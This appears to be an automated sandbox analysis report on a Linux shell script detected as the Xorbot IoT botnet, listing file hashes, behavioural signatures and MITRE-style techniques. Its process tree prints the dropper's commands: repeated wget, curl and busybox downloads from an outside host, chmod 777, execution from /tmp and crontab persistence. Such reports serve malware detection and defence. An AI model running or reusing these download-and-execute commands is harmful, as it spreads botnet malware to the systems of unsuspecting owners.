Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
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submitted
01/03/2025, 03:35
General
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Target
7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
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Size
10KB
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MD5
0d6abf13920f9568901114a1d17cdfd6
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SHA1
8f51702b2844fafb5952fa36d21c2b47de532b5f
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SHA256
7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb
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SHA512
0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795
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SSDEEP
192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p
Malware Config
Signatures
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Detects Xorbot 3 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Contacts a large (1834) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 3 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 10 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh/tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- File and Directory Permissions Modification
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/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
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/bin/rmrm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- File and Directory Permissions Modification
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/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
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/bin/rmrm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- File and Directory Permissions Modification
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/usr/bin/crontabcrontab -l2⤵
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
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/bin/rmrm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
87KB
MD5cb0c87b33668827fae5e9301deff9be2
SHA15244bae30e3a5ff2632858e4965ac44ef88ec982
SHA2568df0afb4c9d585306e222594c42ff1587d8d2e41a0131c03699a1604e64aa496
SHA512bae9f5ab8d3b945dd497e963259129474858d98db10a44c35ca00aea8c12f24d9348f8c6c80232997c390a6dca10155f12073f914ade584d549fe85513e69da1
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
210B
MD519ee5425311bfda3414e7362c6caa22a
SHA1d924f4d5701534fc16fc226cbc1a3ec7b2b1953e
SHA25672b009106f2ccb1269f3dcba011184f12b6d4773372fad4baf518d9aec91155b
SHA512688f07a05c280e2a0a4ab87be54fd3db63228c20c19270b4ea5c32f550ea331ed794c41f7658de5fada59328c951199b8231dad48a346a878362caa1c61fbecf